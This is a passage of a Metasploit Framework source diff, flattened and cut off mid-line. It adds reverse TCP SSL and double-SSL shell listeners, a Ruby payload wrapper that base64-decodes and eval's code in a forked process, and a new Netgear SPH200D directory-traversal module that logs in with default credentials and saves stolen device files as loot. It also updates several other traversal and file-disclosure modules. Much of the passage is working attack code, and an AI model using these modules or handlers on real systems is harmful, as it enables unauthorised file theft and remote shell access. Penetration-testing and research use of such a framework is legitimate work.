a/lib/msf/core/auxiliary/web/http.rb +++ b/lib/msf/core/auxiliary/web/http.rb @@ -120,10 +120,15 @@ class Auxiliary::Web::HTTP tl = [] loop do - # Spawn threads for each host while tl.size <= (opts[:max_threads] || 5) && !@queue.empty? && (req = @queue.pop) tl << framework.threads.spawn( "#{self.class.name} - #{req})", false, req ) do |request| - request.handle_response request( request.url, request.opts ) + # Keep callback failures isolated. + begin + request.handle_response request( request.url, request.opts ) + rescue => e + elog e.to_s + e.backtrace.each { |l| elog l } + end end end @@ -291,7 +296,12 @@ class Auxiliary::Web::HTTP Response.from_rex_response c.send_recv( c.request_cgi( opts ), timeout ) rescue ::Timeout::Error Response.timed_out - rescue ::Errno::EPIPE, ::Errno::ECONNRESET, Rex::ConnectionTimeout + #rescue ::Errno::EPIPE, ::Errno::ECONNRESET, Rex::ConnectionTimeout + # This is bad but we can't anticipate the gazilion different types of network + # i/o errors between Rex and Errno. + rescue => e + elog e.to_s + e.backtrace.each { |l| elog l } Response.empty end diff --git a/lib/msf/core/exploit/http/client.rb b/lib/msf/core/exploit/http/client.rb index 8ac65d6a0f..6d0bd9336b 100644 --- a/lib/msf/core/exploit/http/client.rb +++ b/lib/msf/core/exploit/http/client.rb @@ -536,20 +536,21 @@ module Exploit::Remote::HttpClient end # - # Make sure the URI starts with a slash and doesn't end with one + # Returns a modified version of the URI that: + # 1. Always has a starting slash + # 2. Removes all the double slashes # - def normalize_uri(str) + def normalize_uri(*strs) + new_str = strs * "/" - unless str.to_s[0,1] == "/" - str = "/" + str.to_s + new_str = new_str.gsub!("//", "/") while new_str.index("//") + + # Makes sure there's a starting slash + unless new_str[0,1] == '/' + new_str = '/' + new_str end - str = str.gsub(/^\/+/, '/') - unless str.length == 1 - str = str.gsub(/\/+$/, '') - end - - str + new_str end # diff --git a/lib/msf/core/exploit/web.rb b/lib/msf/core/exploit/web.rb index bd86a410cb..dcec407024 100644 --- a/lib/msf/core/exploit/web.rb +++ b/lib/msf/core/exploit/web.rb @@ -28,7 +28,7 @@ module Exploit::Remote::Web super register_options([ - OptString.new( 'PATH', [ true, 'The path to the vulnerable script.', '/' ] ), + OptString.new( 'PATH', [ true, 'The path to the vulnerable script.', '/' ] ), OptString.new( 'GET', [ false, "GET parameters. ('foo=bar&vuln=#{WEB_PAYLOAD_STUB}', #{WEB_PAYLOAD_STUB} will be substituted with the payload.)", "" ] ), OptString.new( 'POST', [ false, "POST parameters. ('foo=bar&vuln=#{WEB_PAYLOAD_STUB}', #{WEB_PAYLOAD_STUB} will be substituted with the payload.)", "" ] ), OptString.new( 'COOKIES', [ false, "Cookies to be sent with the request. ('foo=bar;vuln=#{WEB_PAYLOAD_STUB}', #{WEB_PAYLOAD_STUB} will be substituted with the payload.)", "" ] ), @@ -75,14 +75,21 @@ module Exploit::Remote::Web def exploit print_status "Sending HTTP request for #{path}" - if res = perform_request - print_status "The server responded with HTTP status code #{res.code}." - else - print_status 'The server did not respond to our request.' - end + res = perform_request + if res + print_status "The server responded with HTTP status code #{res.code}." + else + print_status 'The server did not respond to our request.' + end handler end + def tries + 1 + end + + private + def perform_request send_request_cgi({ 'global' => true, diff --git a/lib/msf/core/handler/reverse_tcp_double_ssl.rb b/lib/msf/core/handler/reverse_tcp_double_ssl.rb new file mode 100644 index 0000000000..4410de7df7 --- /dev/null +++ b/lib/msf/core/handler/reverse_tcp_double_ssl.rb @@ -0,0 +1,300 @@ +# -*- coding: binary -*- +module Msf +module Handler + +### +# +# This module implements the reverse double TCP handler. This means +# that it listens on a port waiting for a two connections, one connection +# is treated as stdin, the other as stdout. +# +# This handler depends on having a local host and port to +# listen on. +# +### +module ReverseTcpDoubleSSL + + include Msf::Handler + + # + # Returns the string representation of the handler type, in this case + # 'reverse_tcp_double'. + # + def self.handler_type + return "reverse_tcp_double_ssl" + end + + # + # Returns the connection-described general handler type, in this case + # 'reverse'. + # + def self.general_handler_type + "reverse" + end + + # + # Initializes the reverse TCP handler and ads the options that are required + # for all reverse TCP payloads, like local host and local port. + # + def initialize(info = {}) + super + + register_options( + [ + Opt::LHOST, + Opt::LPORT(4444) + ], Msf::Handler::ReverseTcpDoubleSSL) + + register_advanced_options( + [ + OptBool.new('ReverseAllowProxy', [ true, 'Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST', false]), + ], Msf::Handler::ReverseTcpDoubleSSL) + + self.conn_threads = [] + end + + # + # Starts the listener but does not actually attempt + # to accept a connection. Throws socket exceptions + # if it fails to start the listener. + # + def setup_handler + if datastore['Proxies'] and not datastore['ReverseAllowProxy'] + raise RuntimeError, 'TCP connect-back payloads cannot be used with Proxies. Can be overriden by setting ReverseAllowProxy to true' + end + self.listener_sock = Rex::Socket::TcpServer.create( + # 'LocalHost' => datastore['LHOST'], + 'LocalPort' => datastore['LPORT'].to_i, + 'Comm' => comm, + 'SSL' => true, + 'Context' => + { + 'Msf' => framework, + 'MsfPayload' => self, + 'MsfExploit' => assoc_exploit + }) + end + + # + # Closes the listener socket if one was created. + # + def cleanup_handler + stop_handler + + # Kill any remaining handle_connection threads that might + # be hanging around + conn_threads.each { |thr| + thr.kill + } + end + + # + # Starts monitoring for an inbound connection. + # + def start_handler + self.listener_thread = framework.threads.spawn("ReverseTcpDoubleSSLHandlerListener", false) { + sock_inp = nil + sock_out = nil + + print_status("Started reverse double handler") + + begin + # Accept two client connection + begin + client_a = self.listener_sock.accept + print_status("Accepted the first client connection...") + + client_b = self.listener_sock.accept + print_status("Accepted the second client connection...") + + sock_inp, sock_out = detect_input_output(client_a, client_b) + + rescue + wlog("Exception raised during listener accept: #{$!}\n\n#{$@.join("\n")}") + return nil + end + + # Increment the has connection counter + self.pending_connections += 1 + + # Start a new thread and pass the client connection + # as the input and output pipe. Client's are expected + # to implement the Stream interface. + conn_threads << framework.threads.spawn("ReverseTcpDoubleSSLHandlerSession", false, sock_inp, sock_out) { | sock_inp_copy, sock_out_copy| + begin + chan = TcpReverseDoubleSSLSessionChannel.new(framework, sock_inp_copy, sock_out_copy) + handle_connection(chan.lsock) + rescue + elog("Exception raised from handle_connection: #{$!}\n\n#{$@.join("\n")}") + end + } + end while true + } + end + + # + # Accept two sockets and determine which one is the input and which + # is the output. This method assumes that these sockets pipe to a + # remote shell, it should overridden if this is not the case. + # + def detect_input_output(sock_a, sock_b) + + begin + + # Flush any pending socket data + sock_a.get_once if sock_a.has_read_data?(0.25) + sock_b.get_once if sock_b.has_read_data?(0.25) + + etag = Rex::Text.rand_text_alphanumeric(16) + echo = "echo #{etag};\n" + + print_status("Command: #{echo.strip}") + + print_status("Writing to socket A") + sock_a.put(echo) + + print_status("Writing to socket B") + sock_b.put(echo) + + print_status("Reading from sockets...") + + resp_a = '' + resp_b = '' + + if (sock_a.has_read_data?(1)) + print_status("Reading from socket A") + resp_a = sock_a.get_once + print_status("A: #{resp_a.inspect}") + end + + if (sock_b.has_read_data?(1)) + print_status("Reading from socket B") + resp_b = sock_b.get_once + print_status("B: #{resp_b.inspect}") + end + + print_status("Matching...") + if (resp_b.match(etag)) + print_status("A is input...") + return sock_a, sock_b + else + print_status("B is input...") + return sock_b, sock_a + end + + rescue ::Exception + print_status("Caught exception in detect_input_output: #{$!}") + end + + end + + # + # Stops monitoring for an inbound connection. + # + def stop_handler + # Terminate the listener thread + if (self.listener_thread and self.listener_thread.alive? == true) + self.listener_thread.kill + self.listener_thread = nil + end + + if (self.listener_sock) + self.listener_sock.close + self.listener_sock = nil + end + end + +protected + + attr_accessor :listener_sock # :nodoc: + attr_accessor :listener_thread # :nodoc: + attr_accessor :conn_threads # :nodoc: + + + module TcpReverseDoubleSSLChannelExt + attr_accessor :localinfo + attr_accessor :peerinfo + end + + ### + # + # This class wrappers the communication channel built over the two inbound + # connections, allowing input and output to be split across both. + # + ### + class TcpReverseDoubleSSLSessionChannel + + include Rex::IO::StreamAbstraction + + def initialize(framework, inp, out) + @framework = framework + @sock_inp = inp + @sock_out = out + + initialize_abstraction + + self.lsock.extend(TcpReverseDoubleSSLChannelExt) + self.lsock.peerinfo = @sock_inp.getpeername[1,2].map{|x| x.to_s}.join(":") + self.lsock.localinfo = @sock_inp.getsockname[1,2].map{|x| x.to_s}.join(":") + + monitor_shell_stdout + end + + # + # Funnel data from the shell's stdout to +rsock+ + # + # +StreamAbstraction#monitor_rsock+ will deal with getting data from + # the client (user input). From there, it calls our write() below, + # funneling the data to the shell's stdin on the other side. + # + def monitor_shell_stdout + + # Start a thread to pipe data between stdin/stdout and the two sockets + @monitor_thread = @framework.threads.spawn("ReverseTcpDoubleSSLHandlerMonitor", false) { + begin + while true + # Handle data from the server and write to the client + if (@sock_out.has_read_data?(0.50)) + buf = @sock_out.get_once + break if buf.nil? + rsock.put(buf) + end + end + rescue ::Exception => e + ilog("ReverseTcpDoubleSSL monitor thread raised #{e.class}: #{e}") + end + + # Clean up the sockets... + begin + @sock_inp.close + @sock_out.close + rescue ::Exception + end + } + end + + def write(buf, opts={}) + @sock_inp.write(buf, opts) + end + + def read(length=0, opts={}) + @sock_out.read(length, opts) + end + + # + # Closes the stream abstraction and kills the monitor thread. + # + def close + @monitor_thread.kill if (@monitor_thread) + @monitor_thread = nil + + cleanup_abstraction + end + + end + + +end + +end +end diff --git a/lib/msf/core/handler/reverse_tcp_ssl.rb b/lib/msf/core/handler/reverse_tcp_ssl.rb new file mode 100644 index 0000000000..996b619b07 --- /dev/null +++ b/lib/msf/core/handler/reverse_tcp_ssl.rb @@ -0,0 +1,124 @@ +require 'rex/socket' +require 'thread' + +require 'msf/core/handler/reverse_tcp' + +module Msf +module Handler + +### +# +# This module implements the reverse TCP handler. This means +# that it listens on a port waiting for a connection until +# either one is established or it is told to abort. +# +# This handler depends on having a local host and port to +# listen on. +# +### +module ReverseTcpSsl + + include Msf::Handler::ReverseTcp + + # + # Returns the string representation of the handler type, in this case + # 'reverse_tcp_ssl'. + # + def self.handler_type + return "reverse_tcp_ssl" + end + + # + # Returns the connection-described general handler type, in this case + # 'reverse'. + # + def self.general_handler_type + "reverse" + end + + # + # Initializes the reverse TCP SSL handler and adds the certificate option. + # + def initialize(info = {}) + super + register_advanced_options( + [ + OptPath.new('SSLCert', [ false, 'Path to a custom SSL certificate (default is randomly generated)']) + ], Msf::Handler::ReverseTcpSsl) + + end + + # + # Starts the listener but does not actually attempt + # to accept a connection. Throws socket exceptions + # if it fails to start the listener. + # + def setup_handler + if datastore['Proxies'] + raise RuntimeError, 'TCP connect-back payloads cannot be used with Proxies' + end + + ex = false + # Switch to IPv6 ANY address if the LHOST is also IPv6 + addr = Rex::Socket.resolv_nbo(datastore['LHOST']) + # First attempt to bind LHOST. If that fails, the user probably has + # something else listening on that interface. Try again with ANY_ADDR. + any = (addr.length == 4) ? "0.0.0.0" : "::0" + + addrs = [ Rex::Socket.addr_ntoa(addr), any ] + + comm = datastore['ReverseListenerComm'] + if comm.to_s == "local" + comm = ::Rex::Socket::Comm::Local + else + comm = nil + end + + if not datastore['ReverseListenerBindAddress'].to_s.empty? + # Only try to bind to this specific interface + addrs = [ datastore['ReverseListenerBindAddress'] ] + + # Pick the right "any" address if either wildcard is used + addrs[0] = any if (addrs[0] == "0.0.0.0" or addrs == "::0") + end + addrs.each { |ip| + begin + + comm.extend(Rex::Socket::SslTcp) + self.listener_sock = Rex::Socket::SslTcpServer.create( + 'LocalHost' => datastore['LHOST'], + 'LocalPort' => datastore['LPORT'].to_i, + 'Comm' => comm, + 'SSLCert' => datastore['SSLCert'], + 'Context' => + { + 'Msf' => framework, + 'MsfPayload' => self, + 'MsfExploit' => assoc_exploit + }) + + ex = false + + comm_used = comm || Rex::Socket::SwitchBoard.best_comm( ip ) + comm_used = Rex::Socket::Comm::Local if comm_used == nil + + if( comm_used.respond_to?( :type ) and comm_used.respond_to?( :sid ) ) + via = "via the #{comm_used.type} on session #{comm_used.sid}" + else + via = "" + end + + print_status("Started reverse SSL handler on #{ip}:#{datastore['LPORT']} #{via}") + break + rescue + ex = $! + print_error("Handler failed to bind to #{ip}:#{datastore['LPORT']}") + end + } + raise ex if (ex) + end + +end + +end +end diff --git a/lib/msf/core/module/platform.rb b/lib/msf/core/module/platform.rb index d1be479c30..357c4e724b 100644 --- a/lib/msf/core/module/platform.rb +++ b/lib/msf/core/module/platform.rb @@ -479,4 +479,20 @@ class Msf::Module::Platform Rank = 100 Alias = "php" end + + # + # JavaScript + # + class JavaScript < Msf::Module::Platform + Rank = 100 + Alias = "js" + end + + # + # Python + # + class Python < Msf::Module::Platform + Rank = 100 + Alias = "python" + end end diff --git a/lib/msf/core/payload/ruby.rb b/lib/msf/core/payload/ruby.rb new file mode 100644 index 0000000000..46980e348c --- /dev/null +++ b/lib/msf/core/payload/ruby.rb @@ -0,0 +1,39 @@ +# -*- coding: binary -*- +require 'msf/core' + +module Msf::Payload::Ruby + + def initialize(info = {}) + super(info) + + register_advanced_options( + [ + # Since space restrictions aren't really a problem, default this to + # true. + Msf::OptBool.new('PrependFork', [ false, "Start the payload in its own process via fork or popen", "true" ]) + ] + ) + end + + def prepends(buf) + if datastore['PrependFork'] + buf = %Q^ + code = %(#{ Rex::Text.encode_base64(buf) }).unpack(%(m0)).first + if RUBY_PLATFORM =~ /mswin|mingw|win32/ + inp = IO.popen(%(ruby), %(wb)) rescue nil + if inp + inp.write(code) + inp.close + end + else + if ! Process.fork() + eval(code) rescue nil + end + end + ^.strip.split(/\n/).map{|line| line.strip}.join("\n") + end + + buf + end + +end diff --git a/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_wldap32.rb b/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_wldap32.rb new file mode 100644 index 0000000000..6716b24f95 --- /dev/null +++ b/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_wldap32.rb @@ -0,0 +1,107 @@ +# -*- coding: binary -*- +module Rex +module Post +module Meterpreter +module Extensions +module Stdapi +module Railgun +module Def + +class Def_wldap32 + + def self.create_dll(dll_path = 'wldap32') + dll = DLL.new(dll_path, ApiConstants.manager) + + dll.add_function('ldap_sslinitA', 'DWORD',[ + ['PCHAR', 'HostName', 'in'], + ['DWORD', 'PortNumber', 'in'], + ['DWORD', 'secure', 'in'] + ]) + + dll.add_function('ldap_bind_sA', 'DWORD',[ + ['DWORD', 'ld', 'in'], + ['PCHAR', 'dn', 'in'], + ['PCHAR', 'cred', 'in'], + ['DWORD', 'method', 'in'] + ]) + + dll.add_function('ldap_search_sA', 'DWORD',[ + ['DWORD', 'ld', 'in'], + ['PCHAR', 'base', 'in'], + ['DWORD', 'scope', 'in'], + ['PCHAR', 'filter', 'in'], + ['PCHAR', 'attrs[]', 'in'], + ['DWORD', 'attrsonly', 'in'], + ['PDWORD', 'res', 'out'] + ]) + + dll.add_function('ldap_count_entries', 'DWORD',[ + ['DWORD', 'ld', 'in'], + ['DWORD', 'res', 'in'] + ]) + dll.add_function('ldap_first_entry', 'DWORD',[ + ['DWORD', 'ld', 'in'], + ['DWORD', 'res', 'in'] + ]) + + dll.add_function('ldap_next_entry', 'DWORD',[ + ['DWORD', 'ld', 'in'], + ['DWORD', 'entry', 'in'] + ]) + + dll.add_function('ldap_first_attributeA', 'DWORD',[ + ['DWORD', 'ld', 'in'], + ['DWORD', 'entry', 'in'], + ['DWORD', 'ptr', 'in'] + ]) + + dll.add_function('ldap_next_attributeA', 'DWORD',[ + ['DWORD', 'ld', 'in'], + ['DWORD', 'entry', 'in'], + ['DWORD', 'ptr', 'inout'] + ]) + + dll.add_function('ldap_count_values', 'DWORD',[ + ['DWORD', 'vals', 'in'], + ]) + + dll.add_function('ldap_get_values', 'DWORD',[ + ['DWORD', 'ld', 'in'], + ['DWORD', 'entry', 'in'], + ['PCHAR', 'attr', 'in'] + ]) + + dll.add_function('ldap_value_free', 'DWORD',[ + ['DWORD', 'vals', 'in'], + ]) + + dll.add_function('ldap_memfree', 'VOID',[ + ['DWORD', 'block', 'in'], + ]) + + dll.add_function('ber_free', 'VOID',[ + ['DWORD', 'pBerElement', 'in'], + ['DWORD', 'fbuf', 'in'], + ]) + + dll.add_function('LdapGetLastError', 'DWORD',[]) + + dll.add_function('ldap_err2string', 'DWORD',[ + ['DWORD', 'err', 'in'] + ]) + + dll.add_function('ldap_msgfree', 'DWORD', [ + ['DWORD', 'res', 'in'] + ]) + + dll.add_function('ldap_unbind', 'DWORD', [ + ['DWORD', 'ld', 'in'] + ]) + return dll + end + +end + +end; end; end; end; end; end; end + + diff --git a/lib/rex/post/meterpreter/extensions/stdapi/railgun/railgun.rb b/lib/rex/post/meterpreter/extensions/stdapi/railgun/railgun.rb index 549cc8aa28..d0c3e1c608 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/railgun/railgun.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/railgun/railgun.rb @@ -77,6 +77,7 @@ class Railgun 'netapi32', 'crypt32', 'wlanapi', + 'wldap32' ].freeze ## diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb index cb6aca1ca6..6d8fc9ae3a 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb @@ -342,7 +342,15 @@ class Console::CommandDispatcher::Core return end - print_status("Migrating to #{pid}...") + begin + server = client.sys.process.open + rescue TimeoutError => e + elog(e.to_s) + rescue RequestError => e + elog(e.to_s) + end + + server ? print_status("Migrating from #{server.pid} to #{pid}...") : print_status("Migrating to #{pid}") # Do this thang. client.core.migrate(pid) diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/ui.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/ui.rb index 37386cad66..6c4bd90f17 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/ui.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/ui.rb @@ -129,7 +129,7 @@ class Console::CommandDispatcher::Stdapi::Ui def cmd_screenshot( *args ) path = Rex::Text.rand_text_alpha(8) + ".jpeg" quality = 50 - view = true + view = false screenshot_opts = Rex::Parser::Arguments.new( "-h" => [ false, "Help Banner." ], diff --git a/modules/auxiliary/admin/cisco/cisco_secure_acs_bypass.rb b/modules/auxiliary/admin/cisco/cisco_secure_acs_bypass.rb index 4ddf66ff52..58aae1ae98 100644 --- a/modules/auxiliary/admin/cisco/cisco_secure_acs_bypass.rb +++ b/modules/auxiliary/admin/cisco/cisco_secure_acs_bypass.rb @@ -75,6 +75,7 @@ class Metasploit4 < Msf::Auxiliary begin uri = normalize_uri(target_uri.path) + uri << '/' if uri[-1,1] != '/' res = send_request_cgi({ 'uri' => uri, 'method' => 'POST', diff --git a/modules/auxiliary/admin/http/netgear_sph200d_traversal.rb b/modules/auxiliary/admin/http/netgear_sph200d_traversal.rb new file mode 100644 index 0000000000..632a991c0f --- /dev/null +++ b/modules/auxiliary/admin/http/netgear_sph200d_traversal.rb @@ -0,0 +1,121 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Scanner + + def initialize + super( + 'Name' => 'Netgear SPH200D Directory Traversal Vulnerability', + 'Description' => %q{ + This module exploits a directory traversal vulnerablity which is present in + Netgear SPH200D Skype telephone. + }, + 'References' => + [ + [ 'BID', '57660' ], + [ 'EDB', '24441' ], + [ 'URL', 'http://support.netgear.com/product/SPH200D' ], + [ 'URL', 'http://www.s3cur1ty.de/m1adv2013-002' ] + ], + 'Author' => [ 'm-1-k-3' ], + 'License' => MSF_LICENSE + ) + register_options( + [ + Opt::RPORT(80), + OptPath.new('FILELIST', [ true, "File containing sensitive files, one per line", + File.join(Msf::Config.install_root, "data", "wordlists", "sensitive_files.txt") ]), + OptString.new('USERNAME',[ true, 'User to login with', 'admin']), + OptString.new('PASSWORD',[ true, 'Password to login with', 'password']) + ], self.class) + end + + def extract_words(wordfile) + return [] unless wordfile && File.readable?(wordfile) + begin + words = File.open(wordfile, "rb") do |f| + f.read + end + rescue + return [] + end + save_array = words.split(/\r?\n/) + return save_array + end + + #traversal every file + def find_files(file,user,pass) + traversal = '/../../' + + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(traversal, file), + 'basic_auth' => "#{user}:#{pass}" + }) + + if res and res.code == 200 and res.body !~ /404\ File\ Not\ Found/ + print_good("#{rhost}:#{rport} - Request may have succeeded on file #{file}") + report_web_vuln({ + :host => rhost, + :port => rport, + :vhost => datastore['VHOST'], + :path => "/", + :pname => normalize_uri(traversal, file), + :risk => 3, + :proof => normalize_uri(traversal, file), + :name => self.fullname, + :category => "web", + :method => "GET" + }) + + loot = store_loot("lfi.data","text/plain",rhost, res.body,file) + vprint_good("#{rhost}:#{rport} - File #{file} downloaded to: #{loot}") + elsif res and res.code + vprint_error("#{rhost}:#{rport} - Attempt returned HTTP error #{res.code} when trying to access #{file}") + end + end + + def run_host(ip) + user = datastore['USERNAME'] + pass = datastore['PASSWORD'] + + vprint_status("#{rhost}:#{rport} - Trying to login with #{user} / #{pass}") + + #test login + begin + res = send_request_cgi({ + 'uri' => '/', + 'method' => 'GET', + 'basic_auth' => "#{user}:#{pass}" + }) + + return :abort if res.nil? + return :abort if (res.headers['Server'].nil? or res.headers['Server'] !~ /simple httpd/) + return :abort if (res.code == 404) + + if [200, 301, 302].include?(res.code) + vprint_good("#{rhost}:#{rport} - Successful login #{user}/#{pass}") + else + vprint_error("#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}") + return :abort + end + + rescue ::Rex::ConnectionError + vprint_error("#{rhost}:#{rport} - Failed to connect to the web server") + return :abort + end + + extract_words(datastore['FILELIST']).each do |file| + find_files(file,user,pass) unless file.empty? + end + end +end diff --git a/modules/auxiliary/admin/http/typo3_sa_2009_001.rb b/modules/auxiliary/admin/http/typo3_sa_2009_001.rb index 25af468599..465e0ed78a 100644 --- a/modules/auxiliary/admin/http/typo3_sa_2009_001.rb +++ b/modules/auxiliary/admin/http/typo3_sa_2009_001.rb @@ -96,7 +96,9 @@ class Metasploit4 < Msf::Auxiliary juhash = Digest::MD5.hexdigest(juarray) juhash = juhash[0..9] # shortMD5 value for use as juhash - file_uri = "#{uri}/index.php?jumpurl=#{jumpurl}&juSecure=1&locationData=#{locationData}&juHash=#{juhash}" + uri_base_path = normalize_uri(uri, '/index.php') + + file_uri = "#{uri_base_path}?jumpurl=#{jumpurl}&juSecure=1&locationData=#{locationData}&juHash=#{juhash}" vprint_status("Checking Encryption Key [#{i}/1000]: #{final}") begin diff --git a/modules/auxiliary/admin/tikiwiki/tikidblib.rb b/modules/auxiliary/admin/tikiwiki/tikidblib.rb index 231b4fa360..695443c528 100644 --- a/modules/auxiliary/admin/tikiwiki/tikidblib.rb +++ b/modules/auxiliary/admin/tikiwiki/tikidblib.rb @@ -47,8 +47,8 @@ class Metasploit3 < Msf::Auxiliary def run print_status("Establishing a connection to the target...") - uri = normalize_uri(datastore['URI']) - rpath = uri + "/tiki-lastchanges.php?days=1&offset=0&sort_mode=" + uri = normalize_uri(datastore['URI'], '/tiki-lastchanges.php') + rpath = uri + "?days=1&offset=0&sort_mode=" res = send_request_raw({ 'uri' => rpath, diff --git a/modules/auxiliary/dos/http/webrick_regex.rb b/modules/auxiliary/dos/http/webrick_regex.rb index ee80b7a624..f886d688b6 100644 --- a/modules/auxiliary/dos/http/webrick_regex.rb +++ b/modules/auxiliary/dos/http/webrick_regex.rb @@ -39,7 +39,7 @@ class Metasploit3 < Msf::Auxiliary def run begin o = { - 'uri' => normalize_uri(datastore['URI']) || '/', + 'uri' => normalize_uri(datastore['URI']), 'headers' => { 'If-None-Match' => %q{foo=""} + %q{bar="baz" } * 100 } diff --git a/modules/auxiliary/gather/wp_w3_total_cache_hash_extract.rb b/modules/auxiliary/gather/wp_w3_total_cache_hash_extract.rb index 564218eaa1..e03844bf80 100644 --- a/modules/auxiliary/gather/wp_w3_total_cache_hash_extract.rb +++ b/modules/auxiliary/gather/wp_w3_total_cache_hash_extract.rb @@ -55,9 +55,17 @@ class Metasploit3 < Msf::Auxiliary # Call the User site, so the db statement will be cached def cache_user_info(user_id) - user_url = normalize_uri("/#{wordpress_url}?author=#{user_id}") + user_url = normalize_uri(wordpress_url) begin - send_request_cgi({ "uri" => user_url, "method" => "GET" }) + send_request_cgi( + { + "uri" => user_url, + "method" => "GET", + "vars_get" => { + "author" => user_id.to_s + } + }) + rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout vprint_error("Unable to connect to #{url}") return nil @@ -83,7 +91,8 @@ class Metasploit3 < Msf::Auxiliary key="w3tc_#{host}_#{site_id}_sql_#{query_md5}" key_md5 = ::Rex::Text.md5(key) hash_path = "/#{key_md5[0,1]}/#{key_md5[1,1]}/#{key_md5[2,1]}/#{key_md5}" - url = normalize_uri("/#{wordpress_url}#{datastore["WP_CONTENT_DIR"]}/w3tc/dbcache#{hash_path}") + url = normalize_uri(wordpress_url, datastore["WP_CONTENT_DIR"], "/w3tc/dbcache") + uri << hash_path result = nil begin diff --git a/modules/auxiliary/admin/ftp/titanftp_xcrc_traversal.rb b/modules/auxiliary/scanner/ftp/titanftp_xcrc_traversal.rb similarity index 91% rename from modules/auxiliary/admin/ftp/titanftp_xcrc_traversal.rb rename to modules/auxiliary/scanner/ftp/titanftp_xcrc_traversal.rb index 476ccc65f2..abe5c91903 100644 --- a/modules/auxiliary/admin/ftp/titanftp_xcrc_traversal.rb +++ b/modules/auxiliary/scanner/ftp/titanftp_xcrc_traversal.rb @@ -11,6 +11,7 @@ class Metasploit3 < Msf::Auxiliary include Msf::Exploit::Remote::Ftp include Msf::Auxiliary::Report + include Msf::Auxiliary::Scanner def proto 'ftp' @@ -28,7 +29,11 @@ class Metasploit3 < Msf::Auxiliary Although the daemon runs with SYSTEM privileges, access is limited to files that reside on the same drive as the FTP server's root directory. }, - 'Author' => 'jduck', + 'Author' => + [ + 'jduck', + 'Brandon McCann @zeknox ', + ], 'License' => MSF_LICENSE, 'References' => [ @@ -47,7 +52,7 @@ class Metasploit3 < Msf::Auxiliary end - def run + def run_host(ip) connect_login @@ -55,7 +60,8 @@ class Metasploit3 < Msf::Auxiliary res = send_cmd( ['XCRC', path, "0", "9999999999"], true ) if not (res =~ /501 Syntax error in parameters or arguments\. EndPos of 9999999999 is larger than file size (.*)\./) - raise RuntimeError, "Unable to obtain file size! File probably doesn't exist." + print_error("Unable to obtain file size! File probably doesn't exist.") + return end file_size = $1.to_i @@ -94,6 +100,7 @@ class Metasploit3 < Msf::Auxiliary fname = datastore['PATH'].gsub(/[\/\\]/, '_') p = store_loot("titanftp.traversal", "text/plain", "rhost", file_data, fname) + print_status("Saved in: #{p}") vprint_status(file_data.inspect) disconnect diff --git a/modules/auxiliary/scanner/http/apache_activemq_source_disclosure.rb b/modules/auxiliary/scanner/http/apache_activemq_source_disclosure.rb index 6f1ada9d10..18d2d942ab 100644 --- a/modules/auxiliary/scanner/http/apache_activemq_source_disclosure.rb +++ b/modules/auxiliary/scanner/http/apache_activemq_source_disclosure.rb @@ -47,7 +47,7 @@ class Metasploit3 < Msf::Auxiliary def run_host(ip) print_status("#{rhost}:#{rport} - Sending request...") - uri = normalize_uri(target_uri.to_s) + uri = normalize_uri(target_uri.path) res = send_request_cgi({ 'uri' => uri, 'method' => 'GET', diff --git a/modules/auxiliary/scanner/http/atlassian_crowd_fileaccess.rb b/modules/auxiliary/scanner/http/atlassian_crowd_fileaccess.rb index e94787a50a..d3e7d5f4ec 100644 --- a/modules/auxiliary/scanner/http/atlassian_crowd_fileaccess.rb +++ b/modules/auxiliary/scanner/http/atlassian_crowd_fileaccess.rb @@ -57,7 +57,7 @@ class Metasploit4 < Msf::Auxiliary end def run_host(ip) - uri = normalize_uri(target_uri.to_s) + uri = normalize_uri(target_uri.path) res = send_request_cgi({ 'uri' => uri, 'method' => 'GET'}) @@ -71,7 +71,7 @@ class Metasploit4 < Msf::Auxiliary end def accessfile(rhost) - uri = normalize_uri(target_uri.to_s) + uri = normalize_uri(target_uri.path) print_status("#{rhost}:#{rport} Connecting to Crowd SOAP Interface") soapenv = 'http://schemas.xmlsoap.org/soap/envelope/' diff --git a/modules/auxiliary/scanner/http/bitweaver_overlay_type_traversal.rb b/modules/auxiliary/scanner/http/bitweaver_overlay_type_traversal.rb index 7f7166f93e..13dc14ef16 100644 --- a/modules/auxiliary/scanner/http/bitweaver_overlay_type_traversal.rb +++ b/modules/auxiliary/scanner/http/bitweaver_overlay_type_traversal.rb @@ -49,8 +49,7 @@ class Metasploit3 < Msf::Auxiliary def run_host(ip) - base = normalize_uri(target_uri.path) - base << '/' if base[-1,1] != '/' + base = target_uri.path peer = "#{ip}:#{rport}" fname = datastore['FILE'] @@ -61,7 +60,7 @@ class Metasploit3 < Msf::Auxiliary res = send_request_cgi({ 'method' => 'GET', 'encode_params' => false, - 'uri' => "#{base}gmap/view_overlay.php", + 'uri' => normalize_uri(base, "gmap/view_overlay.php"), 'vars_get' => { 'overlay_type' => "#{traverse}#{fname}%00" } diff --git a/modules/auxiliary/scanner/http/clansphere_traversal.rb b/modules/auxiliary/scanner/http/clansphere_traversal.rb index 5919941a75..f851e2596b 100644 --- a/modules/auxiliary/scanner/http/clansphere_traversal.rb +++ b/modules/auxiliary/scanner/http/clansphere_traversal.rb @@ -46,7 +46,6 @@ class Metasploit3 < Msf::Auxiliary def run_host(ip) base = normalize_uri(target_uri.path) - base << 